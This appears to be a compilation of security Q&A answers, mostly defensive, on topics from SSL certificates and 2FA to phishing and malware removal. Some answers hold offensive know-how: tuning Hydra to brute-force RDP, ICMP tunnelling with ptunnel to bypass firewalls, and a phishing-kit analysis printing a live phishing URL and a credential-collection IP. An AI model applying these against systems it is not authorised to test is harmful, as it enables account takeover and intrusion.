How do I know/find out about Minecraft Server Vulnerabilities?

Minecraft servers have a feature called "online mode" which verifies the username and UUID of all players that connect to the server against the Minecraft authentication servers. This feature is enabled by default, and it's necessary to make sure players who connect are who they say they are. However, some servers disable this feature so that players with pirated copies of Minecraft can connect.
If the server did not have "online mode" enabled, then an attacker could connect to the server with any username/UUID. If they connected to the server with an operator's username/UUID, then the server would believe they were the operator and give them operator privileges.
The way to avoid this issue is to leave online mode on. If you must turn it off, then you can add an authentication plugin to the server, so players must type a password to confirm who they are, but this increases the effort for people to join the server each time.

In the distant past, the Minecraft server has on occasion had vulnerabilities that allowed people to spoof another player's username/UUID, but I believe those were all promptly fixed.


How to properly implement encrypted connection between two parties who trust each other with SSL?

Let's compare the approaches that you are thinking of:

  A and B have the same self signed certificate.

If any party gets hold of this certificate, they can easily
masquerade as any one of the two.
In future if you want to add new communicating parties, you will have
to find a new way to identify and authenticate individual servers as
all of them will have the same certificate.

The second idea is better than the previous one but scalability depends on the kind of implementation that you use.

  A and B have each their own certificate which is:
  self-signed; in this case A adds B's certificate to its list of
  certificate authorities and vice versa

It will be a huge problem to maintain this in the future. Ever time you add a new server, you will have to add it's certificate to all the servers that you want to communicate with. If you are planning to distribute these servers separately, then it will not be a pleasant experience for your customers.

  signed by the other party; I believe that each party trusts itself.

Again you will run into problems with scalability. Adding new servers will require your existing servers to generate new certificates every time.

  signed by me, a one-man certificate authority, using my private key.

According to me this is the best solution. You will be able to achieve your initial purpose of having a secure communication and it will be easy to scale as well. Each new server will have a certificate generated by the certificate authority which is trusted by the existing servers.

If you are worried about self signed certs v/s CA certs in terms of security, you can read this answer


Let me start by saying that one more time, you should never ever click on something if you don't know what it is. Let's say it was crypto malware, we would go from "Strange folders on my OneDrive" to "Why is my data encrypted" in matter of seconds.
Putting that aside, you should delete the folders and the file if you don't recognize them. Go to the OneDrive website and change your OneDrive password (consider setting up two factor authentication). You may optionally contact support to find out where the folders come from (as a normal user you have no access to any logs), but don't have high hopes about them responding.


For two-factor authentication is it a security issue to have phone authentication and Google Titan Security Key?

Your threat model may be different from other people's, but generally speaking, if you have hardware keys but SMS can still be used to reset access, then SMS is the "weakest link in the chain" and could be exploited.

You could disable SMS to mitigate this. Google offers a pre-configured approach to move to require only strong second factors, called the Advanced Protection Program. In this approach, after you provide two hardware security keys, all other authentication methods are automatically disabled. Note that this makes it harder to reset your access if you ever need to - that's the tradeoff. To mitigate some of that risk, you can add a third key (or even more), and keep alternate keys in safe locations.


Is there evidence to proof that Windows is spying us ? Are the anti-spy programs works and are they trustable?

There is plentifull evidence that windows sends large amounts of telemetry to Microsoft. As for how they use the data, no. There is not and likely never will be any evidence of how they use the data they collect.
For anti-spy software, it is next to impossible to make sure it works. Even if there was a paper proving it works on one version of windows,  that research would be invalidated with the next update.
To verify an anti-spy program is not spying, check your firewall. A blocker program has no business sending anything more than few bytes over the network. Most that it should do is check for updates and maybe validate license, which should be small transfer at most once in a few hours.


Can an email address or its creation be traced back to me?

Given that you use gmail Google has probably a lot of history from where this account was created and used and how it relates to other google services (search etc). If Google can be forced to provide this information then it will probably easy to narrow down or find out who you are based on all this collected information.


why do I not get a https redirect in the first 302 reply

Bad programming on the part of of whoever designed the system - bobbing out of https makes it trivial to carry out a MITM attack on the connection.

  How can I get it to connect to the next server in the chain leading to the final one

Use a better program. HTTP is deceptively complex. You can point a simple socket adapter at port 80 on a webserver, type in 'GET / HTTP/1.0\r\n\r\n' and get a sensible response nine times out of ten - but HTTP allows for more compex stuff like chunked encoding and redirects before you even start to consider session management and intrusion prevention.

Personally I use wget or curl from the command line (both of which can automatically follow redirects) or libcurl in scripts/programs.


Credit card forms on HTTP pages a MITM risk?

Yes, that last someone is correct, in addition to encryption (confidentiality) HTTPS gives you the assurances that the form is coming from where you think it is (authentication), and that it has not been interfered with in transit (integrity). Without HTTPS the form could be modified by a MITM as described.

It'sNot using HTTPS for this is simply bad practise (since the user is often the weakest link), when entering important data the user should just expect to see HTTPS (padlock/green bar/whatever) at every step, no exceptions.

Most browsers will warn by default if you POST from a HTTPS page to a non-HTTP URL, but they don't all clearly indicate that your data is being sent securely in the opposite case. Lack of HTTPS also means that site won't be using "secure" cookies.

See also: Is posting from HTTP to HTTPS a bad practice?

Properly addressing this issue requires HTTP STS (RFC6797), though a boot-strapping issue remains with first HTTP requests in most cases.

A similar issue is the practise of using an iframe to a HTTPS site within a HTTP page, e.g. 3rd party credit card service. In this case, though the form and the post are HTTPS, there's no assurance of integrity in the non-HTTPS content containing the iframe. The browser doesn't show the form is HTTPS (at least not in the normal way, if at all), so this also violates the expectations of a security conscious user.


"Extended Protection" primer and implementation guide to prevent MITM

Extended Protection is Microsoft’s implementation of Request For Comments (RFC) 5056, and it exists to verify the authenticity the transport layer in an Integrated Windows Authentication (IWA) exchange. Extended Protection does not provide any other documented features.

In an IWA exchange there are two channels created; an outer transport channel (TLS/SSL) and an inner authentication channel (Kerberos, Digest or NTLM).

Extended Protection checks that the outer channel that arrives at the server-side matches the outer channel opened on the client-side. The server verifies that the outer channel at the client-side matches based on information supplied by the client in the inner channel exchange. If the two channel ends do not match, the server rejects the client’s request.

The IWA authentication exchange is susceptible to a replay attack specifically “credential relaying” when Extended Protection is not used.

For Extended Protection to work

Apply updates mentioned in KB973811 http://support.microsoft.com/?kbid=973811 as required.
Set registry key for clients to enable opt-in functionality as specified here KB968389 (http://support.microsoft.com/kb/968389).
Configure IIS 7.5, 7.0, 6.0 as specified in KB973917 (http://support.microsoft.com/kb/973917 or http://www.iis.net/ConfigReference/system.webServer/security/authentication/windowsAuthentication or http://blogs.technet.com/b/srd/archive/2009/12/08/extended-protection-for- authentication.aspx).
Some changes to clients and server applications may be required as specified in here http://msdn.microsoft.com/en-us/library/dd639324.aspx if custom authentication mechanisms are used.

Controlling Extended Protection

Extended Protection operates in three modes Off (also referred to as Never), Accept (also referred to as WhenSupported) and Always. When set to Always Extended Protection is required for communications. When using this mode clients that do not support Extended Protection are rejected.

Client’s rejected by Extended Protection will log messages to a HttpListener trace If configured in applications for more information on how to do this see http://msdn.microsoft.com/en-us/library/ty48b824.aspx.

Support for Extended Protection

Not all situations support Extended Protection. If you are running end-to-end newer versions of Windows then Extended Protection is likely to be easy to deploy. If you are have a mixed environment with Kerberos or NTLM through non-Windows proxy servers or delegates your implementation may require more work.

Third-party browsers that are not based .NET or Internet Explorer (such as Chrome and Firefox, Safari) will generally not support Extended Protection even though they may support IWA. This may be an issue if you need to interoperate with systems outside your corporate network or your corporate network uses a mix of browsers.


What are the security issues of a MITM on an ssh session with rsa keypair

If they want the connection to go through all the way to the legitimate server: absolutely nothing.  (Well, nothing a passive observer can't learn.)  The endpoints establish a shared secret via DH, which is part of the data signed with the public key. (Source.)  Consequently, if the attacker subverts (MITMs) the DH key agreement, the authentication will fail.  If they don't subvert the DH key agreement, then they can't read the traffic being passed.

Now, if you don't verify the RSA key, I can still allow your authentication as a MITM, and provide an interface where I pretend you're interacting with the remote server.  For example, if you're performing an SCP, I can still steal a copy of the file you're transferring.  I can log you in to a shell where I ask "you must change your password" and ask for old/new passwords, and use it to phish SSH.


Are there any attack vectors for a printer connected through USB in a Windows Environment?

There was a vulnerability in HP printers that allowed firmware updates over the network, so we know it is possible.

A new firmware could allow at least in principle for the USB interface to be "repurposed". An obvious attack vector is for the printer to masquerade as a keyboard and start pressing keys to issue dangerous commands. The Rubber Ducky is a related USB product that has a framework behind it focused on attacks.

Stuxnet used vulnerabilities in Windows to start the malware on USB drives. This IBM X-Force research details the vulnerabilities.

A different and more dangerous masquerading is of a device that tells the computer to load a driver that has known vulnerabilities. The device can then exploit the vulnerabilities and even get code executed in the kernel. Here is a NIST warning about this and here is a NCC Group Study. There are countless legacy device drivers that can be vulnerable. A well known OS hardening technique is to eliminate unused drivers.

The printer can also attack the USB controller on the computer providing lower level access. The badBIOS incidents hint at that possibility.

The above attacks are directly against the computer the printer connects to, but the printer can compromise the confidentiality of the data that is printed or the credentials that are used to access the printer so the attacker can reuse them somewhere else.


Why do websites store passwords' hashes not their ciphertexts?

My understanding is that you feel that passwords would be safer if they were stored by having the site:

Generate a unique public/private key pair.
Immediately dispose of the private key in a secure manner.
Encrypt the password with the public key.
Store the public key and the encrypted password in the database, similar to the common practice of storing the salt and hashed password.

Your statement that this storage model for passwords would be safer than modern techniques is false. While this approach does have the irreversibility quality that is essential for password storage and has adequate pre-computation defenses, it lacks the performance defenses needed to prevent even a simple dictionary attack.

Modern password storage hashing algorithms like bcrypt and scrypt are designed to be slow to execute even in the face of specialized hardware. On the other hand, encryption algorithms are designed to be as performant as possible. So an offline dictionary attack to crack passwords that were encrypted with a public key will be much faster (likely many orders of magnitude) than a similar attack trying to crack bcrypt or scrypt hashes.


Decrypt from cipher text encrypted using RSA

Start with saving the three parts respectively to pub.b64, priv.b64 and blob.b64:

$ base64 -d < pub.b64 | openssl asn1parse -inform DER -i

    0:d=0  hl=3 l= 158 cons: SEQUENCE
    3:d=1  hl=2 l=  13 cons:  SEQUENCE
    5:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
   16:d=2  hl=2 l=   0 prim:   NULL
   18:d=1  hl=3 l= 140 prim:  BIT STRING

Clearly not an X.509v3 certificate. No matter, we don't need that to decrypt. openssl dumpasn1 isn't up to the heavy lifting here, try Peter Gutmann's dumpasn1 to peek inside the bit string:

$ base64 -d < pub.b64 > pub.der
$ dumpasn1 -al pub.der

   0  158: SEQUENCE {
   3   13:   SEQUENCE {
   5    9:     OBJECT IDENTIFIER rsaEncryption (1 2 840 113549 1 1 1)
         :       (PKCS #1)
  16    0:     NULL
         :     }
  18  140:   BIT STRING, encapsulates {
  22  136:     SEQUENCE {
  25  128:       INTEGER
         :         77 C8 9B 9A 58 AC 43 14 B8 95 1E BE 61 03 E9 B5
         :         05 C7 CA 7D 1B FE 6F 17 E8 9A F9 09 EB 9F C3 9E
         :         32 92 09 FC A4 B6 9E A0 CB C5 7C 7F 7B 33 4A 94
         :         50 2B 58 AD 56 7A BE 1D 8B 04 09 D9 C7 62 0A A3
         :         68 AE E6 C0 82 73 97 31 5F BF 16 C8 80 4D 08 CC
         :         4F 61 36 94 8F 71 51 6A AA 36 AF 8F 7E 0C 82 3C
         :         82 D1 96 23 47 4F F8 F6 A8 EB C0 38 79 9F DD AD
         :         5D 3F C9 5C A6 FC 37 C7 71 41 04 AA 6A B7 3A 89
 156    3:       INTEGER 65537
         :       }
         :     }
         :   }

That's more like it, we have what appears to be a 1024-bit modulus, and a likely public exponent of 65537.

The key is a base64 encoded normal RSA key in DER (binary) format:

$ base64 -d priv.b64 | openssl rsa -inform DER > out.key
writing RSA key
$ cat out.key
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgHfIm5pYrEMUuJUevmED6bUFx8p9G/5vF+ia+Qnrn8OeMpIJ/KS2
nqDLxXx/ezNKlFArWK1Wer4diwQJ2cdiCqNorubAgnOXMV+/FsiATQjMT2E2lI9x
UWqqNq+PfgyCPILRliNHT/j2qOvAOHmf3a1dP8lcpvw3x3FBBKpqtzqJAgMBAAEC
gYAJ1ykxXOeJ+0HOvl/ViITCol7ve6e5F1dXfKPI9NqDL5Pn+3oN7hLKEvN+btqo
NBBLJcR7OQeMZtDs3AJQJvXIqN4UJUBf6fUshhdf9Y5MSpSqAjlqLjted2uw8xuL
8gDmOYWV0yjeivvb4Qf7Vl7jAJSBwnlVsGCKmmBXDn+EoQJBAOtzJ4yl9ZFlW+OB
5l1/iA5oE0BOhM6as8W43+8kncWC2+Mn2UfouaBBPsbahDucUeL5BFebNTLl4zXS
R05HNl8CQQCCPQeysgYXDYODJYXZFzXDkFu1cfT4astM/r6Q64vDV4BlsONCCHNE
aaG12uXfxm1hkx2yvETYdcOKGx2OPagXAkEAl6470FQp+1z88XgB3EIIeJ97p3Xu
ANuQ7NPJD9ra+R7wYUqOo9C9pQvjUV/8yBpQdpRNw9JtVzjaQxYQcdFWqQJAALcl
G64uqmHAny/NlGu0N+bLGiwOFG9BvqKHmXQxyFjqs6RNG0fAmleaM82IBbqpTyfn
udue5TGAaXnMp8Ne8QJAKx/zf5AKPTkqZ7hBQ3IYfx7EbS2f6lelf8BNC+A/iz4d
xLgx7AupPtoaKZC0Z6FWpm2s0HNvYhleU3FcAfKRig==
-----END RSA PRIVATE KEY-----

If you decode that key:

$ openssl asn1parse  < out.key
    0:d=0  hl=4 l= 600 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim: INTEGER           :00
    7:d=1  hl=3 l= 128 prim: INTEGER
                      :77C89B9A58AC4314B8951EBE6103E9B505C7CA7D1BFE6F17E89AF9
                       09EB9FC39E329209FCA4B69EA0CBC57C7F7B334A94502B58AD567A
                       BE1D8B0409D9C7620AA368AEE6C0827397315FBF16C8804D08CC4F
                       6136948F71516AAA36AF8F7E0C823C82D19623474FF8F6A8EBC038
                       799FDDAD5D3FC95CA6FC37C7714104AA6AB73A89
  138:d=1  hl=2 l=   3 prim: INTEGER           :010001
  [...snip...]

and compare with the dumpasn1 decoding of the public key, you can see that they share a 1024 bit modulus and exponent, so it looks like the public and private key match. Good.

So, decode your encrypted data:

$ base64 -d blob.b64 > blob

and decrypt it:

$ openssl rsautl -decrypt -inkey out.key < blob > decrypted
$ hexdump decrypted
0000000 0355 1739 575b 5434 ccc5 bec7 e70a 0d44
0000010 a4a9 11d4 166c 3423 4e36 e657 2fea ef53

That's 32 bytes (256 bits), quite likely a key used in a symmetric cipher to encrypt more data, since you can only encrypt relatively small amounts of data with RSA

Good luck with the next part ;-)


Is Gnucash's flatpak safe to use with online banking?

As mentioned by others, I think the question boils down to "can I trust Flatpak as an entity providing software?"

Flatpak "Security Issues"

Barring any severe, currently unknown vulnerabilities in Flatpak itself (e.g. privesc), those linked "issues" with Flatpak don't seem to apply to your concerns, and can be debunked.

  Many Flatpak apps have filesystem write permission
  Most Flatpak apps do not run in a sandbox

Yes, unless you are using precisely configured SELinux or AppArmor profiles, all of your apps built/installed from source or through the package manager have these issues as well.

  Slow/no critical security updates to apps and runtimes

Depends on who provides/maintains the application. No different than many regular projects and sometimes even distributions.

Since your concern seems to be regarding the integrity of the app itself, I do not believe that these issues apply.

Can you trust GnuCash provided by Flatpak?

I think that this is the core of the question. My answer is very similar to your first provided AskUbuntu link.

Since the Flatpak is linked to from GnuCash's website, it seems to be more or less official, plus the developer is listed as "GnuCash Project". In theory, the code running in the Flatpak image should be nearly the same as that in the official releases. The build process is fairly open; you can see how GnuCash is packaged on GitHub.

This is assuming that Flatpak/Flathub is not malicious (or compromised). I suppose if you wanted, you could verify that the binaries inside the package match "trusted" ones, but it may be quite an undertaking. Entities like Flatpak are likely under a lot of scrutiny from the community, so any major mistakes (especially for a project like GnuCash) will likely not go unnoticed.

But, the question "can I trust vendor XYZ" cannot be answered definitively. We make this decision every time we download software from anywhere.

TL;DR: It is ultimately up to you what software/vendors you trust, but I see no issue with using GnuCash provided through Flatpak.


How can malware be hidden in a non-executable file you have downloaded?

It's possible to get infected with malware that sits in mp3s, jpgs, avis etc, but unlikely.

In order to get infected, the malicious code must be executed. So the audio, image or video player (specifically, the decompressor function which decompresses the data or the code which takes the decompressed data and plays/displays it) must be tricked into executing the data instead.
This can happen, for example if the code reserves a fixed amount of space for the data which, if well-formed, will never take up more space. But if it does, maybe because a bad person made sure it would, it can overwrite part of the memory that follows the memory reserved for the data, and sometimes that memory contains an instruction on where to find the next instructions to run after the ones currently being carried out. If the attacker can adjust this "return address" to point into his own malicious code, he wins.

If you're interested in the technical details, google "buffer overflows" and "stack smashing".

So... it's not  the audio/video file itself that's dangerous. It's the combination of the file and a specific audio/video player.If you don't watch the infected file with the target player, nothing will happen.


Your syntax looks correct, though you might try adding in the -t flag with a low number (i.e. -t 1) to restrict the number of concurrent connections to 1 as well as the -w flag with a number of seconds (i.e. -w 8) to allow the server you are brute-forcing to be able to recover for 8 seconds before attempting the next try.

Even with these tweaks, however, you may still find no success as it should be known that the RDP module has been found to be unreliable with newer versions of Hydra which is potentially why your efforts aren't fruitful; see this github issue discussion with Hydra [RDP] failing even with correctly supplied credentials.


One possible solution would be to take a forensically sound image of the target (entire HDD or a specific area or even the RAM) before and after the program you are wanting to analyze runs. Then simply* compare the two images.

I would start with comparing hashes just to be certain something did change (so you dont waste time 'looking'). Many times, 'artifacts' are 'left behind' in RAM and thus deleted over time when not used.

You can use a program like FTK Imager to do this.


Why is the redirect_uri defined to be an absolute uri in OAuth2?

This answer might help you:
What is the purpose of OAuth 2.0 redirect_uri checking?

Another reason might be that providers can enforce the usage of https for the redirect uri...


All Admin accounts need to be careful about what they run. The rule of thumb is to only run executables that have been vetted, and not to browse the Internet, if at all possible.

Disabling 'Public Folders' is not a solution, but merely a small measure towards the standard practice the Admin should be using.


Is factory reset enough to remove malware from laptop?

If you have a TPM, you can enable secure boot and proceed the factory reset. This way should assert than the restored OS is healthy as it is signed by ASUS. Then you will be able to disable secure boot for your linux needs.
Without a TPM, the main concerns are about a rootkit (able to insert itself in the OS after the factory reset) or about a malware which infected the recovery partition.
However, today most of the malware belongs to one of these categories:

spy your activities to produce a detailed consumer profile and send it
encrypt your files and ask for a ransom
make your PC a zombie for botnet usage

I think only the last could be persistent enough to use rootkit strategies.
As hft said, if you are using your computer for gaming, netflix and casual browsing, the factory reset would be sufficient. Even if the botnet malware is persistent he will not annoy your browsing.
If the PC is used for activism, journalism, nuclear code and so one, factory reset is not sufficient and you should consider using an airgap (a new PC) without mixing your sensitive activities with torrent ^^


If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network?

The answer depends on your level of sophistication, the level of sophistication of the attacker, and your goals.

The Mandiant blog post, from one of the leading providers of incident response and computer forensics services, is intended for sophisticated organizations responding to an Advanced Persistent Threat (APT).  One of their concerns is that you might not actually even resolve the problem if you can't observe the attackers work across various systems on your network.

But most security incidents are less sophisticated attacks on poorly administered machines.  In this case I think you're better off following the advice in the highly rated answer to the Server Fault question "My server's been hacked EMERGENCY", which suggests that disconnecting the server is indeed typically the first response, though you should not act in haste.


How can I disable logging for specific rule in pfsense

You have to create a rule that specificly blocks this kind of traffic. You don't enbale logging for this rule and this rule has to be placed before your block any rule that is generating the log entries.


You need to read about MFA tokens.

The numbers are sync'ed between the card and the authentication server. They have to match and they change. As part of the algorithm to generate the number, there is info from the device itself (serial number) so that the system knows that the number is associated with a unique device (yours). Mixed with your credentials, you have a very strong authentication scheme.

What benefit would it be to type any random string? It has to match SOMETHING on the server for it to mean anything.


How to make sure that no one is watching you through webcam?

If, despite the implausibility of it, you are worried that the FBI has hacked your camera, then I'm afraid there won't be much you can do to gain back control of your camera. Therefore I can only suggest a low-tech solution: a camera cover.  This is the sort of thing you are looking for:
https://www.amazon.com/C-Slide-Sliding-Computers-Chromebooks-Consoles/dp/B00AZ639VG


Does it make a difference to use a VPN to access home services?

If you don't use a VPN, then ask yourself the following questions:

How would the connection from your client to your file server be encrypted?
How would the client and the server mutually authenticate each other?
How would the keys used to build this encrypted connection be managed on the client and the server?
How strong is the encryption, and how strong are the keys?

VPN's are used, because they provide reasonably good solutions to all of the above problems.

If your public-facing file server provides acceptable solutions to all of the problems above, then maybe you can consider accessing the server directly, without using a VPN.  For example, using key-based authentication with an SSH server may be an acceptable solution in your case.

But even in this case, if the VPN is integrated with a hardware firewall protecting the server, this provides an additional layer of security - because the hardware firewall blocks stray packets from random bots, etc. from even reaching your server.  This way, in the event that a vulnerability is discovered in the file server (which would otherwise be public-facing without the VPN/firewall), the server is still protected by the firewall.


How do you handle vulnerabilities in internal systems?

Handle vulnerabilities by using Vulnerability Management
Vulnerability Management includes patching, but so much more. It includes assessing the vulnerability and assessing mitigation actions (of which patching is one) in the control environment.

Do you just take the NIST CVSSv3 score as-is?

Well, yes. There is no need to change the core assessment of the vulnerability, but the CVSS score does not tell you what you should do about it. You need the CVSS score as part of the risk assessment, but you still need to assess the risk in the control environment in which it exists.
For example, if there is a vulnerability that can only be exploited over the network, and the machine does not have the ability to connect to a network, then that threat is mitigated.
It gets more Complex than that
When most people raise this type of question, they are expecting that the Complex problem is meant to be solved with a Simple solution ("Just Patch"). But when patching is not practical, how do you perform a risk assessment that does not end up exposing hidden risks due to the team's lack of experience or perspective?
We all know that the risk assessment can get complex since the technology, the vulnerability, and the control environment can be so complex that people might not ever trust their ability to perform a risk assessment properly or completely. So, when you have to start "making it up as you go along" to meet your unique and situational needs, you need expert advice and carefully chosen layers of controls (Identify, Protect, Detect, Respond, Recover) to prevent the unintended consequences of ad hoc controls in a complex environment. And that's all part of Vulnerability Management, too.
Docker/Containers
So, a Docker or any other containerised environment does not change the fundamentals. Containers can be exposed externally, or not, they can be exposed internally, or not, or they can be restricted to the local host, or not. Just like any other service. You still need to assess the control environment. And when you do, consider the future use of that machine, container, or service. Whatever vulnerabilities you permit to exist counts as a debt that you will have to resolve if you change the use case or the control environment that you used to allow the vulnerability to remain unpatched.
The quick answer
Patching is the simplest, most straightforward, and recommended default action to take. You should have a policy/standard where you patch unless there is a compelling reason not to and you engage compensating processes (Identify, Protect, Detect, Respond, Recover) that take the current and future control environment into consideration.
Rule #1: When in doubt: patch.
Rule #2: When patching presents a material risk to objectives: make sure you know what you are doing.
Rule #3: If you are not sure you know what you are doing: see Rule #1.


Yes, DNSCrypt is in fact a point-to-point tunnel, so it's like encapsulating DNS queries in Elliptic Curve Cryptography provided by curve25519xsalsa20poly1305. See DNSCrypt Proxy TECHNOTES.

Regular DNS servers are not equipped to speak DNSCrypt but OpenDNS ones are. So when you change the DNS IP and use DNSCrypt then your dnscrypt-proxy would first try to exchange a DNSCrypt certificate before it accepts talking to that server. A regular DNS won't reply and you won't get a question/reply going. This explains why it doesn't work for other servers than OpenDNS.

However, there are different DNSCrypt providers. You might want to look for them because they vary. Some do not store logs, most of them are free of the shenanigans that OpenDNS does with non-existing domains, some offer malware filtering capability, etc.

List of alternative DNSCrypt servers: https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv


What fundamental problems are solved by using a Key Encrypting Key (KEK)?

You already gave one reason. People use a KEK to allow them to change their password (or other credentials that are used to derive the password) without re-encrypting a large amount of data. Another more subtle reason is that it allows multiple, distinct keys to be equally valid. For example, you could have a hard drive used by three people encrypted with three different keys, without needing each user to share their keys. It could also be used to allow one person to authenticate using different credentials, e.g. a keyfile on a USB stick, or a memorized password. This is implemented by having multiple copies of the master key encrypted with a different KEK and stored alongside each other.


My advice would be to simply never open a password database on a system you do not fully trust. If you must, then put the minimum needed passwords in that 'public' database and make sure you have a solid expiration policy in place.


Why not resend email confirmation email at the point of failed sign-in? (vs force a button press)

Frankly, yes, there are some security concerns. The email link grants the recipient access to the account. If the user entered the wrong email, then by automatically sending the activation link again, you offer the unauthorised recipient another chance to take over the account.

If the user lost control over their email account, then the same problem applies.

In general, you want to give users positive control whether access-granting actions are performed.

Also, given that many "schroeders" mistakenly use my email address to sign up for things, I'm glad for non-automatic re-sending of activation emails. I get enough manually triggered email activation links for things I never signed up for ...


Security of encrypted data and decrypting key

You can't have a decryption (or encryption) key anywhere that a program can use it but the user whose permissions the program runs with cannot. This is the same problem DRM schemes have. There's no trust boundary between the user and their software; the software can't do anything that the user couldn't write software to do.
There are ways to hide the key (such as storing it in an external security module - either hardware or software that runs in a different, more restricted security context - but such systems will still encrypt/decrypt whatever the user's software asks them to, so not actually having the key is a meaningless distinction for a local "attacker" like this.
Assuming you're not simply deriving the key from the user's entered password (and never storing it persistently, at least not in plain text, anywhere), you might as well store the key in the user's profile directory (alternatively, in an OS-specific key store, which Windows and MacOS provide), with permissions set such that only the user can read it. Obviously this doesn't prevent the user from reading it with their own software, but they could also just modify your Python code or run it in a debugger and extract the key that way, even if there was some way to more securely store it.


Is there any risk in allowing ping packets *out* through a firewall

If you're allowing ICMP echo requests (type 8, code 0), then presumably you'll be allowing ICMP echo replies (type 0, code 0) back in. ICMP echo replies can be used for inverse mapping of a target network, even when there's a filtering device (such as a firewall on the perimeter). This is an old attack though and modern firewalls can easily block it (assuming they're correctly configured).

The Smurf DDOS attack first exploits an intermediary network that'll respond to broadcast icmp message and in turn sends out IMCP echo requests to a subsequent victim.

Here's a white paper on ICMP attacks - it's old but still valid and contains good information.

C&C communications is already well covered above but here's a another old paper on covert channels that shows some examples, specifically around Loki's use of echo requests and replies.

It's also possible to use ptunnel to set up a TCP connection using ICMP echo requests and replies, thus bypassing other firewall restrictions (if you've allowed ICMP requests out and replies in). In previous testing, this connection has been reliable and resilient.


Ways to make it more difficult for data to be lifted from a website?

I got one simple solution for all your text information.
Use a text -> image converter in order to convert names into text. http://Who.Is does this simply by displaying names of individuals as images which cannot be simply copied by bots and sets then off course.

Another solution is using reCaptcha or a more secure equivalent  (considering that certain advanced bots can crack that too even now). Fundamentally get to popup every once in a while for a particular amount of requests sent from a single client. For legitimate usage it should barely even cause an inconvenience.


Don't understand how my mum's Gmail account was hacked

IMPORTANT: this is based on data I got from your link, but the server might implement some protection. For example, once it has sent its "silver bullet" against a victim, it might answer with a faked "silver bullet" to the same request, so that anyone investigating is led astray. I have tried sending a fake parameter of cHVwcGFtZWxv to see whether it triggered any different behaviour, and it did not. Still, that's no great guarantee.

UPDATE - the above still holds, but I've been making tests from random IPs not traceable to my main session - the attacking server does not discriminate, and will blithely answer to a query regardless of browser, referer, and JS/Flash/Java support.

The link you received contained, already embedded in the URL, the following parameters - I have slightly changed them so the correct form won't appear in Google searches of Stack Exchange (I swapped the first letters).

jebe1shebe@hotmail.co.uk
hunalx@googlemail.com

The link injects a Javascript that first of all retrieves your location through a Geotrack API call, then loads another script. (I had initially mistaken this for a GMail command; my bad).

The second script loads a web page, but also presents several replicas of Login pages of popular accounts (Hotmail, GMail and so on) depending on the incoming email: GMail accounts get a fake GMail page, and so on, all of these pages saying what amounts to "Oooh, session expired! Would you mind logging in again?".

For example, clicking here (do not do so while logged in GMail, just in case)

hxxp://23.88.82.8/d/?p=puppa@gmail.com&jq=SVQ7RmxvcmVuY2U=

will display a fake Google account login (for a nonexisting user 'puppa').

The real login pages come from

http://ww168.scvctlogin.com/login.srf?w...
http://ww837.https2-fb757a431bea02d1bef1fd12d814248dsessiongo4182-en.msgsecure128.com

which are fire-and-forget domains.

The server that receives the stolen usernames and passwords is apparently always the same, a ShineServers machine on 31.204.154.125, a busy little beaver. Most of these URLs have been submitted to various services and were seen as far back as January.

Phishing and Two-Factor authentication

I'm of two minds about the usefulness of TFA in this scenario. As I see it, and I may well be mistaken or overlooking something,

the victim clicks on the link
gets "disconnected" and prompted to "reconnect" by a phishing screen
enters [username and] password
attacker attempts login and gets redirected to "Enter Secure Code"
a secure code is sent to the victim
attacker sends to victim an "Enter Secure Code" screen
(most?) victims enter secure code too
victim account is compromised

What could one do

Check out the URL appearing on the address bar. Verify SSL certificates.
Never login to anything unless it comes from a bookmark or a manually typed link, paying attention to common misspellings. If a login screen appears during navigation, just close the browser and reopen it.
Enter into the paranoid habit of always inserting a wrong password first, one you would never use, then the correct one on the "Login failed" screen. If the wrong password gets accepted... (of course, the attacker might always reply WRONG! to the first attempt. He has to balance the cost of scaring some victims against the benefit potential of capturing some others. As long as the number of two-attempters is negligible, two-attempting is a winning strategy for them. If everybody does it, it won't work).
There are services, such as OpenDNS as pointed out by @Subin, or embedded in the browser itself, that verify the incoming site against a distributed list and refuse to connect to a known phishing site.

What could a developer do

Maybe, just maybe, it would be possible to develop a "This page looks like this other page" application. Probably it would be terribly heavy on the system. In its most basic and thwartable form, if the HTML code contains 'Enter Google password' and the URL is not gmail, then a large blood-red banner appears saying JUST DON'T.

Another (thwartable again) possibility is to employ a honey-token approach and deny form submissions that contain a password.

What could Google do

This is a bit of a pet peeve of mine. The phishing screen uses data on Google servers, for Pete's sake, so that those servers clearly see a login logo being requested by your mom with a referer of phishers'r'us dot com. What do those servers do? They blithely serve the logo as is! If I were to manage such a server, a request for your avatar image (or any image) from any page not on my site would, yes, indeed get an image. I would probably get in no end of trouble for the image I'd choose. But it would be very unlikely that someone would willingly enter his/her password on such a screen.

Of course, the attackers would just mirror the images on their websites. But I can think of many other tricks. For example, if a browser on 1.2.3.4 asked me for a login avatar, I might be wary of a password confirmation coming from address 9.8.7.6 a few seconds later, especially if other passwords for other accounts had come in similar circumstances from the same address in the last few minutes.

A twist: as suggested by a commenter (which I still have to thank for the insight), Google has actually oversight on the incoming requests as well as GMail displayed messages. With a bit of data analysis, it can then know with good certainty phishing sites almost in real time, and phishers mirroring sites doesn't thwart this kind of analysis very much (it is mostly based on data garnered from the victim). Then Google can supply the addresses of known sites to a browser extension (e.g. Chrome site protection).

I still think that they could do both - defend the login screen and use data mining to find out who the phishers are - but I'll accept that I am not justified in saying that Google is actually doing nothing.

More complicated tricks

Also, I might complicate the login screen with challenge/responses invisible to the user that the attacker would have to match, and based on browser fingerprinting. You want to log in, you send the password from the same login screen that prompted you. This too can be thwarted, quite easily.

But having to do twenty easy things to compromise an account is difficult. Also because if you do seventeen right, I (the server) mark your address, and maybe redirect you to a fake sandbox account if you do succeed to log in in the next hours. And then I just look at what you do. You do little, I replicate on the real account and if you're honest, you'll never even know. More than X too-similar emails, or sent too fast, and I'll know. Of course the account will remain open and blithely accept all your spam. Why not. Send it? Well... that's another matter, now, isn't it?


There are a few things to undestand.

The first is that most VPN tools were originally designed to provide private connectivity over networks that were insecure, possiblly natted or firewalled but not actively hostile to VPNs.

The second is that traditional TLS is a wrapper over TCP. TCP is a poor choice for VPNs because it suffers from "head of line blocking". If one packet gets lost then all the data behind it is blocked until it is successfully retransmitted. This used to cause big problems when running VPNs over TCP, it's less of an issue now that we have TCP fast retransmission but it's still less than ideal.

